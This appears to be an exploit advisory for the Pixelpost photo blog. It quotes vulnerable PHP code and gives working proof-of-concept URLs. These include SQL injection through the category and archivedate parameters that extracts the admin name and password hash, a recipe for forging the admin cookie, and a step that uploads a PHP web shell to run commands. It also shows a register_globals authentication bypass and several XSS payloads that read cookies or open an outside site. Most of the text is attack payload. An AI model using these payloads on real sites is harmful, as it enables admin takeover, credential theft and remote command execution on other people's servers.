   i) sql injection in index.php near lines 670-680:

   ...
   if($_GET['category'] != "")
	{
		// Modified from Mark Lewin's hack for multiple categories
		$query = mysql_query("SELECT 1,t2.id,headline,image,datetime
		        	      FROM  {$pixelpost_db_prefix}catassoc as t1
				      INNER JOIN {$pixelpost_db_prefix}pixelpost t2 on t2.id = t1.image_id
				      WHERE t1.cat_id = '".$_GET['category']."'
				      AND (datetime<='$cdate')
				      ORDER BY datetime DESC");
		$lookingfor = 1;
	}
   ...

   nice code, isn't it?

   with magic_quotes_gpc = Off:
   http://[target]/[path]/index.php?x=browse&category='UNION SELECT '1','2',admin,'4','5' FROM pixelpost_config WHERE id=1/*
   http://[target]/[path]/index.php?x=browse&category='UNION SELECT '1','2',password,'4','5' FROM pixelpost_config WHERE id=1/*

   now, at screen, you have admin username & MD5 password hash and you can build
   an admin cookie:

   Cookie: pp_user=[username]; pp_password=[sha1([md5hash].[your_ip_address])];

   Admin can upload .php files in images/ folder, files are renamed but you can
   see new filename in main index page, so... you launch commands:

   http://[target]/[path]/images/20060603005716_suntzu.php?cmd=cat%20./../includes/pixelpost.php

   ii) same kind of sql injection in 'archivedate' argument at lines 681-687:
   ...
   ELSE IF ($_GET['archivedate'] != "")
	{

		$where = "AND (DATE_FORMAT(datetime, '%Y-%m')='".$_GET['archivedate']."')"; //DATE_FORMAT(foo, '%Y-%m-%d')
		$query = mysql_query("SELECT 1,id,headline,image, datetime FROM ".$pixelpost_db_prefix."pixelpost WHERE (datetime<='$cdate') $where ORDER BY datetime desc");
		$lookingfor = 1;
	}
   ...
   poc:

   http://[target]/[path]/index.php?x=browse&archivedate=')%20UNION%20SELECT%20'1','2',password,'4','5'%20FROM%20pixelpost_config/*

   iii)
   in admin/ folder at the begin of every script, except for index.php, we have:

   <?php
   if(!isset($_SESSION["pixelpost_admin"]) || $cfgrow['password'] != $_SESSION["pixelpost_admin"]) {
	die ("Try another day!!");
   }
   ...

   if register_globals= On, you can easily bybass this protection, poc:

   http://[target]/]path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1

   this can be used to see some interesting configuration info about target server:

   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info

   or to launch XSS attacks:

   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_exif1=<script>alert(document.cookie)</script>
   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_exif2=<script>alert(document.cookie)</script>
   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_path=<script>alert(document.cookie)</script>

   iv) another xss, without to be logged in:
   http://[target]/[path]/admin/index.php?loginmessage="><script>window.open("http://retrogod.altervista.org")</script>
